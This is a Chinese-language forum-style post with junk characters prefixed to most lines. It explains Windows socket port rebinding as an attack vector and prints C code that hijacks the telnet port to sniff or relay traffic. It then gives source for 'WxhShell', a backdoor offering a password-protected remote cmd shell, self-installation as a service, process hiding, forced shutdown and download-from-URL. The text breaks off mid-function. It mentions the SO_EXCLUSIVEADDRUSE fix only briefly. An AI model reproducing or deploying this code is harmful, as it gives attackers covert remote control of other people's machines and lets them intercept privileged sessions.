在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'J#uD|9) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
_K|?;j#x0k FGRG?d4?h saddr.sin_family = AF_INET;
5~SBZYI
%967#XI[y saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Kr;F4G|Qt aW$))J)0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~=pyA#VVJ" Bd*\|M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Fk&A2C}$b L"V~MF 这意味着什么?意味着可以进行如下的攻击:
wHhIa3_v Gjf1Ba 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
%{";RfSVX% Y t0s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
l`RFi)u~& :<E\&6# oC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ZUeA&&{
y O?52YO 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Zq"wq[GCN bR|1*< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
<fcw:Ae +8V| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
kX]p;C ? 1b*9G%i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
8]0?mV8iOE eqWb>$ #include
@NJJ #include
` oXL #include
V@1K #include
>oc&hT DWORD WINAPI ClientThread(LPVOID lpParam);
WevXQ-eKm int main()
%Z6\W;
(n {
=?-
sazF& WORD wVersionRequested;
jTq@@y DWORD ret;
Jl^THoEL WSADATA wsaData;
d`4@aoM BOOL val;
rwepe 5 SOCKADDR_IN saddr;
G@Vz
}B:= SOCKADDR_IN scaddr;
( 0Z3Ksfj1 int err;
G@]|/kN1y SOCKET s;
O(f&0h
! SOCKET sc;
cdsF<tpy int caddsize;
t%>x}b"2T HANDLE mt;
U})Z4>[bvt DWORD tid;
o[CjRQY]P wVersionRequested = MAKEWORD( 2, 2 );
I~I$/j]e` err = WSAStartup( wVersionRequested, &wsaData );
]%/a'[ if ( err != 0 ) {
<\5Y~!) printf("error!WSAStartup failed!\n");
\%:]o-+"I return -1;
>iB-gj}>X }
+S>}<OE saddr.sin_family = AF_INET;
yzmwNsu 0_5j( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
7u7 <"?v= )VCRbz"[g saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
H(Q|qckj saddr.sin_port = htons(23);
*;C8g{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zE<G wVI~ {
2wG4" printf("error!socket failed!\n");
s|=.L&" return -1;
=D~RIt/D }
eFeWjB'<7 val = TRUE;
Ayi
Uz //SO_REUSEADDR选项就是可以实现端口重绑定的
#>byP?)n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{^n\
r^5 {
.Qeml4(`3 printf("error!setsockopt failed!\n");
)|zna{g\ return -1;
#5.L%F }
:,(ZMx\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
M.R]hI //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
N%&D(_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Z'sO9Sg8> 5Pl~du if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-'!%\E;5 {
xiPP&$mg ret=GetLastError();
`L=$,7` printf("error!bind failed!\n");
R7 *ek_ return -1;
Li;(~_62a] }
i\?P>:) listen(s,2);
p;rGaLo:u while(1)
a,N?GxK~ {
nu#_,x<LS caddsize = sizeof(scaddr);
p@7[w@B\c //接受连接请求
UPkD^D, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.%4{zaB if(sc!=INVALID_SOCKET)
R'q:Fc {
h8!;RN[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
H -,RzL/ if(mt==NULL)
){oVVLs {
W}5 H'D printf("Thread Creat Failed!\n");
a/wkc*}}/ break;
\o j#*aL^ }
xBC:%kG~# }
Ilc FW CloseHandle(mt);
5Y&s+| }
txwTJScg closesocket(s);
AQ 5CrYb WSACleanup();
lAwOp return 0;
d>Z{TFY }
*?+maK{5+ DWORD WINAPI ClientThread(LPVOID lpParam)
n'#(iW)f {
,JcQp=g SOCKET ss = (SOCKET)lpParam;
E@_M|=p& SOCKET sc;
nJ4CXSdE unsigned char buf[4096];
E0 Vl}b SOCKADDR_IN saddr;
7^J-5lY3S long num;
^Q?I8,4} DWORD val;
!Ax 7k;T DWORD ret;
+0O{"XM //如果是隐藏端口应用的话,可以在此处加一些判断
?_F,HhQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0F<O \ saddr.sin_family = AF_INET;
&:` 7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
^E7>!Lbvx saddr.sin_port = htons(23);
?)cNe:KY if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9J?G"JV? {
RkJ\? printf("error!socket failed!\n");
#mX=Y>l return -1;
xe:
D7 }
P~0d'Oi val = 100;
F%6`D if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
imtW[ y+4 {
|^ml|cb ret = GetLastError();
UP]J`\$o return -1;
m GWT</=[$ }
"l&sDh%Lk< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&0
VM <
{
<bf^'$l ret = GetLastError();
ud`.}H~aB return -1;
%Ya-;&;` }
<)]B$~(a if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
m//(1hWv7 {
VB 8t"5 printf("error!socket connect failed!\n");
OX?9 3AlG closesocket(sc);
>29eu^~nh closesocket(ss);
Z<|caT]Q( return -1;
qx"?')+ }
-9U'yL90B while(1)
|Js96>B: {
{cv,Tz[Q> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~} mX#, //如果是嗅探内容的话,可以再此处进行内容分析和记录
sDCa&"6+@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
t?v0ylN num = recv(ss,buf,4096,0);
(*%+!PS if(num>0)
u+zq:2)H6 send(sc,buf,num,0);
[pmZ0/l else if(num==0)
P,O9On break;
KW.S)+<H& num = recv(sc,buf,4096,0);
?|:!PF*L~z if(num>0)
Uc}L/ax send(ss,buf,num,0);
mhM=$AIq else if(num==0)
7;n'4LIa9 break;
~"5WQK`@ }
vbQo8GFp} closesocket(ss);
(0"9562 closesocket(sc);
#4''Cs return 0 ;
oj<.axA, }
]P ->xJ ];1z%. <9/oqp{C4 ==========================================================
7fl'nCo\" 6kjBd3 下边附上一个代码,,WXhSHELL
3;j?i<kM 9h$-:y3 ==========================================================
o"v>
BhpC ?}B9=R$Pi #include "stdafx.h"
a7q-*%+d5 +iwNM+K/gQ #include <stdio.h>
Gz!72H #include <string.h>
-^;G^Uq6= #include <windows.h>
+
&b`QcH< #include <winsock2.h>
`ivr$b# #include <winsvc.h>
tZ=BK:39\ #include <urlmon.h>
0sq/_S RN3w{^Ll #pragma comment (lib, "Ws2_32.lib")
.d9VV& #pragma comment (lib, "urlmon.lib")
U;6~]0^K ^#S #define MAX_USER 100 // 最大客户端连接数
}x-~>$:" #define BUF_SOCK 200 // sock buffer
[8SW0wsk #define KEY_BUFF 255 // 输入 buffer
cCU'~ ,I@4)RSAH| #define REBOOT 0 // 重启
"^<:7 _Y #define SHUTDOWN 1 // 关机
lV$U!v:b (XRj##G{ #define DEF_PORT 5000 // 监听端口
T |'Ur# dp2". #define REG_LEN 16 // 注册表键长度
bK("8T\? #define SVC_LEN 80 // NT服务名长度
S_6`.@B} 7esG$sVj( // 从dll定义API
$K ,rVTU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2X)E3V/*
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
E[htNin.B~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
XT= #+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4lb3quY$Us =o _d2Ak // wxhshell配置信息
^=D77 jS struct WSCFG {
Sd^e!?bp int ws_port; // 监听端口
,h5.Si> char ws_passstr[REG_LEN]; // 口令
3VA8K@QiRm int ws_autoins; // 安装标记, 1=yes 0=no
S5v>WI^0h char ws_regname[REG_LEN]; // 注册表键名
;myu8B7& char ws_svcname[REG_LEN]; // 服务名
&N*S
char ws_svcdisp[SVC_LEN]; // 服务显示名
0wZLkU_( char ws_svcdesc[SVC_LEN]; // 服务描述信息
DZ ~|yH char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Fm,A<+l@u int ws_downexe; // 下载执行标记, 1=yes 0=no
xwT"Q=|kW char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}PyAmh$@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
>}O1lsjW:z X'jEI{1w };
nf/iZ & %nOBs ln // default Wxhshell configuration
68)z`JI|<) struct WSCFG wscfg={DEF_PORT,
KzeA+PI "xuhuanlingzhe",
Y: KB"H 1,
\E?1bc{\f "Wxhshell",
<5[wP)K@ "Wxhshell",
=[t( [DG "WxhShell Service",
)Ah "Wrsky Windows CmdShell Service",
ui G7 "Please Input Your Password: ",
yKOf]m># 1,
5&2=;?EO "
http://www.wrsky.com/wxhshell.exe",
`W?aq]4x5 "Wxhshell.exe"
'/;#{(" };
*-_` xe ):LJ {.0R // 消息定义模块
IDE@{Dy char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
#B`"B char *msg_ws_prompt="\n\r? for help\n\r#>";
Cl<`uW3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
AUS?Pt[w char *msg_ws_ext="\n\rExit.";
N.xmHv Pk char *msg_ws_end="\n\rQuit.";
:XBeGNI*# char *msg_ws_boot="\n\rReboot...";
l%fnGe` _ char *msg_ws_poff="\n\rShutdown...";
StP6G ]x char *msg_ws_down="\n\rSave to ";
fBD5K3 yql+N[ char *msg_ws_err="\n\rErr!";
og.dYs7W4 char *msg_ws_ok="\n\rOK!";
Zf]d'oW{/ TDtk'=; char ExeFile[MAX_PATH];
Lkk'y})/ int nUser = 0;
yn!LJT[~2 HANDLE handles[MAX_USER];
c
!P9`l~MQ int OsIsNt;
3Eiy/ ?)4|WN|c_ SERVICE_STATUS serviceStatus;
"Oh-`C SERVICE_STATUS_HANDLE hServiceStatusHandle;
i]hFiX wOHK
dQ' // 函数声明
wc~a}0uz int Install(void);
I.y|AQB int Uninstall(void);
e#kPf 'gL int DownloadFile(char *sURL, SOCKET wsh);
E;VW6[M int Boot(int flag);
]4uIb+(S void HideProc(void);
JZu7Fb]L9 int GetOsVer(void);
\)y5~te* int Wxhshell(SOCKET wsl);
09|d< void TalkWithClient(void *cs);
|%&WYm6 int CmdShell(SOCKET sock);
jW2z3.w int StartFromService(void);
pl
q$t/.U; int StartWxhshell(LPSTR lpCmdLine);
VC>KW{&J0 dldM hT$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
nm %ka4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
Rc?wIL) G*ym[ // 数据结构和表定义
pgU54Ef SERVICE_TABLE_ENTRY DispatchTable[] =
nN@8vivP% {
`U(A 5 {wscfg.ws_svcname, NTServiceMain},
CXCU5- {NULL, NULL}
Sr2c'T" };
}Ax$}# QE<63| // 自我安装
RG:ct{i int Install(void)
!ybEv| = {
h5Qxa$Oq char svExeFile[MAX_PATH];
HOykmx6$ HKEY key;
lP9a*>=a strcpy(svExeFile,ExeFile);
2',t@< U rCYNdfdpp // 如果是win9x系统,修改注册表设为自启动
1/a*8vuGh if(!OsIsNt) {
YDjQ&EH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
m>zUwGYEu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
us`hR!_ RegCloseKey(key);
JguE#ob2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IO^O9IEx, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
JO+ hD4L RegCloseKey(key);
b LL!iz? return 0;
{*jkx,| }
Qkr'C
n }
z ;
:E~; }
7zR7v else {
' 'UiQ 1__p1 // 如果是NT以上系统,安装为系统服务
R8o9$&4_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
En5I if (schSCManager!=0)
bB)EJCPq> {
g[H7. SC_HANDLE schService = CreateService
ih ,8'D4 (
mjBXa schSCManager,
u@|GQXC wscfg.ws_svcname,
m&2<?a}l wscfg.ws_svcdisp,
Sw'DS SERVICE_ALL_ACCESS,
$`l- cSH; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#Y`U8n2F SERVICE_AUTO_START,
tTWYlbDFN SERVICE_ERROR_NORMAL,
VEb}KFyP svExeFile,
CCl*v NULL,
t&0n"4$d' NULL,
A[oi?.D NULL,
5f}63as NULL,
G_42ckLq NULL
2+"# );
@*%5"~F if (schService!=0)
@zd)]O]xH? {
*e_ /D$SC CloseServiceHandle(schService);
<]CO}r
CloseServiceHandle(schSCManager);
tQ?? nI2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
oB_{xu$6| strcat(svExeFile,wscfg.ws_svcname);
ym(r;mj! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
U]e;=T:3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
l6l)M RegCloseKey(key);
*<Qn)Az return 0;
=H!u4
}
LAMTf"a }
g&BF#)7C CloseServiceHandle(schSCManager);
Fm [,u }
uERc\TZ }
*(o~pxFTR \:-; { return 1;
_5.7HEw>/ }
1S.nqOfx $stJ+uh // 自我卸载
J
tYnBg?[E int Uninstall(void)
mI"|^!L {
6"jq/Pu HKEY key;
~Qzm!Po, 'Ur$jW if(!OsIsNt) {
)W*S6}A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8#7z5:_ RegDeleteValue(key,wscfg.ws_regname);
!\?? [1_e RegCloseKey(key);
G'{4ec0<{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
q ,}W. RegDeleteValue(key,wscfg.ws_regname);
v>7=T8 RegCloseKey(key);
2,NQ(c_c$ return 0;
6PvV X*5T }
c(YNv4*X }
,VJ0J!@ }
@Cw<wrem else {
o1I{^7/ 5;dnxhf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
LG&~#x if (schSCManager!=0)
#W!@j"8eK {
,/o<O jR SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
M@8
<^CK if (schService!=0)
ZIpL4y
=_ {
H$1R\rE` if(DeleteService(schService)!=0) {
lm]4zs /A CloseServiceHandle(schService);
MK~viSgi CloseServiceHandle(schSCManager);
/p X\)wi return 0;
e:!&y\'"9 }
t55
' CloseServiceHandle(schService);
0QEVL6gw }
.rN5A+By` CloseServiceHandle(schSCManager);
g-Z>1V }
0[9A* }
":eHR}Hzx XY0Gjo0 return 1;
$]xe,}*Af }
_~5{l_v|I mjS)*@F // 从指定url下载文件
k\x>kJ}0 int DownloadFile(char *sURL, SOCKET wsh)
`){*JPl {
mv<z%y?Oj HRESULT hr;
gt'0B-;W char seps[]= "/";
i(L;1 ` char *token;
obaJT"1 char *file;
H$;K(,' char myURL[MAX_PATH];
Ngh9+b6[ char myFILE[MAX_PATH];
Q@/wn !cp
,OrO\ strcpy(myURL,sURL);
-br/ token=strtok(myURL,seps);
e[w)U{|40 while(token!=NULL)
"E8-76n {
DghX(rs_ file=token;
rDUNA@r token=strtok(NULL,seps);
e~nmIy }
>8>`- +a"Asvw2 GetCurrentDirectory(MAX_PATH,myFILE);
EiIbp4*e strcat(myFILE, "\\");
Xm\tyLY strcat(myFILE, file);
n1.]5c3p send(wsh,myFILE,strlen(myFILE),0);
;se-IDN send(wsh,"...",3,0);
N7}.9%EV hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
N<Ti[Q]G if(hr==S_OK)
ihf5`mk/$ return 0;
0=L:8&m else
l"b78n return 1;
IqcPml{\ CKNH/[ZR, }
l)=Rj`M jo{GPp} // 系统电源模块
!Edc]rg7 int Boot(int flag)
pmIQD" {
FeLWQn/aV6 HANDLE hToken;
9(ANhG TOKEN_PRIVILEGES tkp;
_%z)Y=Q wgzjuTqwBF if(OsIsNt) {
jD$T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ryN/sjQC LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ZDcv-6C)B tkp.PrivilegeCount = 1;
(lS&P"Xi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)k <ON~x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
O' A''}M if(flag==REBOOT) {
,R ]]]7)+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
URX>(Y}g9^ return 0;
'S E%9 }
1ciP+->$ else {
w*$nG$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
sqj8c)6 return 0;
)uZ<?bkQ }
h^?[:XBeav }
u{tjB/K& else {
.2[>SI if(flag==REBOOT) {
`!>zYcmT if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:=UeYm
@ return 0;
Lt|k}p@] }
UH.M)br else {
!|!:MYn if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
zZ
OoPE return 0;
u+z$+[lm!G }
+%$!sp? }
m"X0Owx :}o0Eb return 1;
)?I1*(1{A }
.nKyB'uV "4&HxD8_ih // win9x进程隐藏模块
WTSY:kvcCY void HideProc(void)
K?(ls$ {
j#3}nJB%#i vC&y:XMt,` HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
nPR_:_^ if ( hKernel != NULL )
<P(d%XEl {
kIP~XV~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
b ]1SuL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_I3j7f,V FreeLibrary(hKernel);
W^60BZ }
n"(n*Hf7b k "'q return;
dxUq5`#G, }
zp,f} cQ1oy-paD // 获取操作系统版本
ce1KUwo] int GetOsVer(void)
x44)o: {
%Kd8ZNv OSVERSIONINFO winfo;
S-Ryt>G winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
vn6/H8
GetVersionEx(&winfo);
5i83(>p3]e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
2W$c%~j$2 return 1;
-gv@
.# N else
!94&Uk(O return 0;
D8paIp }
<!-8g! e7>)Z // 客户端句柄模块
()}O|JL:K int Wxhshell(SOCKET wsl)
;)u}`4~L {
UVxE~801Y SOCKET wsh;
Ajs<a(,6 struct sockaddr_in client;
-TjYQ DWORD myID;
NnGQ=$e KaBze67<| while(nUser<MAX_USER)
J &u&G7#S
{
Bl3G_Ep int nSize=sizeof(client);
=_D82`p wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
!|}J{
if(wsh==INVALID_SOCKET) return 1;
A5F< < 3@XCP-` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9kH~+ if(handles[nUser]==0)
C>:F4"0 closesocket(wsh);
}8fxCW*| else
N@58R9P<p nUser++;
`IFt;Ja\6 }
v}+axu/? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
:BC0f9 ;7K5Bo return 0;
R^f~aLl }
nwOr STVJu![ // 关闭 socket
+}I[l,,xy void CloseIt(SOCKET wsh)
h"
P4 {
j/#kO? closesocket(wsh);
NA]7qb%%< nUser--;
[qIi_(%o ExitThread(0);
wU2y<?$\8 }
]Qkto4DQ5 !5?#^q // 客户端请求句柄
nyw, Fu void TalkWithClient(void *cs)
Zo-E0[9 {
^.nvX{H8~= 7$8z}2 SOCKET wsh=(SOCKET)cs;
?*9U
d char pwd[SVC_LEN];
y@nWa\iG char cmd[KEY_BUFF];
|pqLwnOu char chr[1];
VahR nD int i,j;
Ty*ec%U9F E@JxY while (nUser < MAX_USER) {
GWM2l?zOP 'R*xg2!i if(wscfg.ws_passstr) {
nAoGG0$5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\&&kUpI //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
23_<u]V //ZeroMemory(pwd,KEY_BUFF);
QKwWX_3%Z] i=0;
J=
ia while(i<SVC_LEN) {
x
+q"%9.c ~V`D@-VND // 设置超时
9RE{,mos2v fd_set FdRead;
"SNsOf struct timeval TimeOut;
t TA6 p FD_ZERO(&FdRead);
MPAZ%<gmD FD_SET(wsh,&FdRead);
?\<2*sW [k TimeOut.tv_sec=8;
^;6~=@#*C TimeOut.tv_usec=0;
zt[TShD^ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
l^uP?l" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$Y,,e3R3 ^R,5T}J. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
l0U6eOx pwd
=chr[0]; h:z;b;
if(chr[0]==0xd || chr[0]==0xa) { Q= + Frsk
pwd=0; N>/*)Frt
break; +y6|Nq
} tmRD$O%:
i++; ojs&W]r0Z
} 79s6U^vv"
(e=ksah3>
// 如果是非法用户,关闭 socket s|pb0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~XsS00TL`G
} ~BERs;4
\xDu#/^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [9BlP
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Te[[xhTyw
j /)cdP
while(1) { pEH[fA]
>u*woNw(XM
ZeroMemory(cmd,KEY_BUFF); )_GM&-
]WWre},
// 自动支持客户端 telnet标准 !Ya
+
j=0; ~_8Ve\Y^ /
while(j<KEY_BUFF) { B
0 K2Uw
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); at,Xad\j
cmd[j]=chr[0]; tPO.^
if(chr[0]==0xa || chr[0]==0xd) { vEtogkFA"
cmd[j]=0; qt^%jIv
break; $C9<{zX
} Co[[6pt~
j++; R:E6E@T
} g~FB&U4c
u\t[rC=yd
// 下载文件 [O"i!AQ
if(strstr(cmd,"http://")) { 2O<Sig=
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )P|%=laE8
if(DownloadFile(cmd,wsh)) >z>UtT:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mky$#SI11
else ;f=:~go
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .7ahz8v
} u+I-!3J87
else { {@Diig
:]y;t/
switch(cmd[0]) { Se0/ysVB
_N/]&|.. !
// 帮助 Xuh_bW&zF
case '?': { &Eidc .
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a(x[+ El
break; aCGPtA'
} _9!Ru!u~
// 安装 k_P`t[YZV
case 'i': { T2Y`q'
if(Install()) R&ou4Y:DG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); lmH!I)5
else rt^z#2$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *ivbk /8
break; Zr}`W\
} 3-o ]H'6
// 卸载 Cf`UMQ a
case 'r': { JGj_{|=:
if(Uninstall()) <(BA ws(X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }[LK/@h
else KO)<Zh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `(Q58wR}
break; YQQ!1hw
} YgM6z K~
// 显示 wxhshell 所在路径 O])/kS`
case 'p': { y*uL,WH
char svExeFile[MAX_PATH]; Y] P}7GZ
strcpy(svExeFile,"\n\r"); -\UzL:9>
strcat(svExeFile,ExeFile); X@~sIUXx9
send(wsh,svExeFile,strlen(svExeFile),0); {E 6W]Mno
break; ?ZDx9*f
} Qbv)(&i#~
// 重启 Z
NCq/
case 'b': { zN2sipJS8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UwE^ij
if(Boot(REBOOT)) B2845~\.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |I OTW=>
else { Rx`0VQ
closesocket(wsh); QO#ZQ~
ExitThread(0); l\$C)q6O
} QRdb~f;<hj
break; i3e|j(Gs4
} *,'"\n
// 关机 t8?+yG;
case 'd': { []dRDe;#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QtN 0|q{af
if(Boot(SHUTDOWN)) 3>L1}zyM]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L {B#x@9tQ
else { =602%ef\
closesocket(wsh); _I$]L8hC
ExitThread(0); A)`M*(~
} ][?GJ"O+U
break; k?J}-+Bm[|
} D(h|r^5
// 获取shell 2B!nLLCp+
case 's': { >`oO(d}n[0
CmdShell(wsh); w~Y#[GW
closesocket(wsh); 8\I(a]kM`
ExitThread(0); 8i:b~y0
break; 6PPvfD^
} \ g0
// 退出 "4"L"lJ
case 'x': { R0/~)
P
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7kJ,;30)
CloseIt(wsh); ?C $_?Qi
break; J41ZQ
} 2l\Oufer"
// 离开 C
y&L,
case 'q': { {ld([
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .S5&MNE
closesocket(wsh); GbL,k?ey
WSACleanup(); 8=2)I.
exit(1); D~mGv1t"
break; 4cV(Z-\
} *S=v1 s/
} ")sq?1?X
} DD~8:\QD
el[6E0!@
// 提示信息 IF1?/D"<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nZ%<2
} $}\.)^[}
} l|uN-{w
MT&i5!Z
return; YEZ"BgUnbp
} ]I}'
[D
L3kms6ch
// shell模块句柄 [e*8hbS
int CmdShell(SOCKET sock) 5,mb]v0k
{ sF<4uy
STARTUPINFO si; zF{z_c#3@
ZeroMemory(&si,sizeof(si)); yXEC@#?|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z>X-u eV
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?VzST }
PROCESS_INFORMATION ProcessInfo; L~0B
char cmdline[]="cmd"; FvvF4
,e5
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `Zk?.1*2/
return 0;
c^=,@#
} Pd@?(WQ
^$T>3@rDB
// 自身启动模式 1= <Qnmw
int StartFromService(void) ~Aq UT]l
{ 35,SP R
typedef struct GJ((eAS)
{ bF}~9WEa
DWORD ExitStatus; `U;4O)`n
DWORD PebBaseAddress; Nz]\%c/-
DWORD AffinityMask; xUeLX`73
DWORD BasePriority; F-ijGGL#
